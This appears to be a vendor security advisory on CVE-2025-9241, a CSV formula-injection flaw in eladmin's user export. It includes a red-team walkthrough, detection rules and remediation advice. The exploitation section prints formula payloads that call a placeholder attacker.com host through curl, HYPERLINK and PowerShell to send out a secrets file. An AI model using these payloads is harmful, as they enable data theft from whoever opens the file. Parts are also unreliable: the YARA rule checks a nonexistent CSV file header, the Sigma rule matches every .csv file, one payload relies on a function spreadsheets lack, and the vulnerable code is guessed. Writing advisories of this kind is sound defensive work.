CVE-2025-9241

Executive Summary

CVE-2025-9241 is a CSV Injection vulnerability (CWE-1236) identified in the exportUser function of the Elunez eladmin application, affecting versions up to and including 2.7. This vulnerability allows an attacker to inject malicious formulas into exported CSV files. When a victim opens the crafted CSV file in a spreadsheet application (such as Microsoft Excel or LibreOffice Calc), the injected formulas can execute arbitrary commands, exfiltrate data, or perform other malicious actions. The attack is initiated remotely, and a public exploit is available, increasing the risk of widespread exploitation. The CVSS score is 6.3 (Medium), but the availability of a public exploit and the potential for data exfiltration elevate the urgency for patching.

Supply Chain & Package Security

This vulnerability affects the Elunez eladmin project, which is a Java-based backend management framework. It is not directly an NPM, PyPI, Go, or Ruby package, but it is a critical component in many Java-based web applications. Organizations using eladmin should treat this as a supply chain risk and ensure they are using the patched version.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for the attack.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) - The victim must open the crafted CSV file.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Successful exploitation can lead to significant data exfiltration.
• Integrity (I): Low (L) - The attacker can modify data within the spreadsheet.
• Availability (A): Low (L) - The attack could cause minor disruption.

Threat Level: High (due to public exploit availability and ease of exploitation).

Deep Dive & Mechanics

The vulnerability resides in the exportUser function of the eladmin application. This function is responsible for exporting user data into a CSV file. The application fails to properly sanitize or escape user-controlled data before writing it to the CSV file. Specifically, if a user's data (e.g., username, email, or other fields) contains characters that are interpreted as formulas by spreadsheet applications (such as =, +, -, @), the application will write these characters directly into the CSV.

When the CSV file is opened in a spreadsheet application, the application interprets these characters as the start of a formula. An attacker can craft a payload like =CMD|' /C calc'!A0 (for Windows) or =SYSTEM("curl http://attacker.com/steal") to execute arbitrary commands on the victim's machine. The attack is initiated remotely by providing malicious input to the exportUser function, which then generates the poisoned CSV.

Vulnerable vs. Patched Code

Vulnerable Code (eladmin <= 2.7): The vulnerable code likely uses a simple string concatenation or a CSV writer that does not escape formula-initiating characters.

// Vulnerable example
String csvLine = user.getName() + "," + user.getEmail() + "," + user.getPhone();
// No sanitization of formula characters

Patched Code (eladmin > 2.7): The patched code should sanitize or escape formula-initiating characters. A common fix is to prepend a single quote (') or a tab character to any field that starts with a formula character.

// Patched example
String sanitizedName = sanitizeForCSV(user.getName());
String csvLine = sanitizedName + "," + sanitizeForCSV(user.getEmail()) + "," + sanitizeForCSV(user.getPhone());

private String sanitizeForCSV(String input) {
    if (input.startsWith("=") || input.startsWith("+") || input.startsWith("-") || input.startsWith("@")) {
        return "'" + input; // Prepend single quote to neutralize formula
    }
    return input;
}

Exploitation & Lab Setup

Red Team (Exploitation)

1. Setup: Deploy a vulnerable instance of eladmin (version <= 2.7). Ensure the exportUser function is accessible.
2. Craft Payload: Create a malicious payload for a user field (e.g., username). For example, to exfiltrate data via DNS:

   =HYPERLINK("http://attacker-controlled-dns.com/"&A1,"Click Here")
   

   Or to execute a command (Windows):

   =CMD|' /C powershell -Command "Invoke-WebRequest -Uri http://attacker.com/steal -Method POST -Body (Get-Content C:\secret.txt)"'!A0
   

3. Inject Payload: Use the eladmin interface to create a user with the malicious payload in one of the fields (e.g., username).
4. Trigger Export: Use the exportUser function to generate a CSV file containing the malicious user.
5. Deliver CSV: Send the CSV file to the victim (e.g., via email or a download link).
6. Execute: When the victim opens the CSV in a spreadsheet application, the payload executes.

Blue Team (Detection & Defense)

1. Monitor for Anomalous CSV Files: Use DLP (Data Loss Prevention) tools to scan CSV files for formula-initiating characters (=, +, -, @).
2. User Education: Train users to open CSV files in a text editor first, or to disable automatic formula execution in spreadsheet applications.
3. Network Monitoring: Monitor for outbound connections to unknown domains, especially from processes like excel.exe or soffice.bin.
4. Endpoint Detection: Deploy EDR rules to detect command execution from spreadsheet applications.
5. Application Hardening: Ensure the eladmin application is patched to the latest version.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP/HTTPS requests from spreadsheet applications (e.g., excel.exe, soffice.bin) to suspicious domains.
  • DNS queries for attacker-controlled domains.
• File IOCs:
  • CSV files containing fields that start with =, +, -, or @.
  • CSV files with unusually long or complex formulas.
• Process IOCs:
  • Execution of cmd.exe, powershell.exe, or bash from within a spreadsheet application.
  • Spawning of network connections from spreadsheet processes.

Detection Engineering

YARA Rule

rule CVE_2025_9241_CSV_Injection {
    meta:
        description = "Detects CSV files potentially exploiting CVE-2025-9241"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9241"
    strings:
        $formula_start = /^[=+\-@]/  // Matches lines starting with =, +, -, or @
        $cmd_payload = "CMD|" nocase
        $system_payload = "SYSTEM(" nocase
        $hyperlink_payload = "HYPERLINK(" nocase
    condition:
        // Check if the file is a CSV and contains formula indicators
        (uint32(0) == 0x43535620 or uint32(0) == 0x4353562C) and // "CSV " or "CSV,"
        (#formula_start > 0) and
        ($cmd_payload or $system_payload or $hyperlink_payload)
}

Sigma Rule

title: CVE-2025-9241 CSV Injection via eladmin exportUser
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-9241 by monitoring for CSV files with formula injection patterns.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9241
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '.csv'
        # Look for formula characters at the start of a line
        # This is a simplified detection; real-world may need content inspection
    condition: selection
falsepositives:
    - Legitimate CSV files that start with formula characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9241 CSV Injection - Potential Data Exfiltration"; flow:to_server; content:"GET"; http_method; content:"/"; http_uri; pcre:"/^[=+\-@]/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade eladmin to version > 2.7. The vendor has released a patch.
2. Workaround: If immediate patching is not possible, implement input validation on the exportUser function to sanitize or reject fields containing formula-initiating characters.
3. User Awareness: Educate users about the risks of opening CSV files from untrusted sources.
4. Spreadsheet Security: Configure spreadsheet applications to disable automatic formula execution (e.g., in Excel: File > Options > Trust Center > Trust Center Settings > External Content).
5. Network Segmentation: Limit outbound internet access from workstations to reduce the risk of data exfiltration.

Valters IT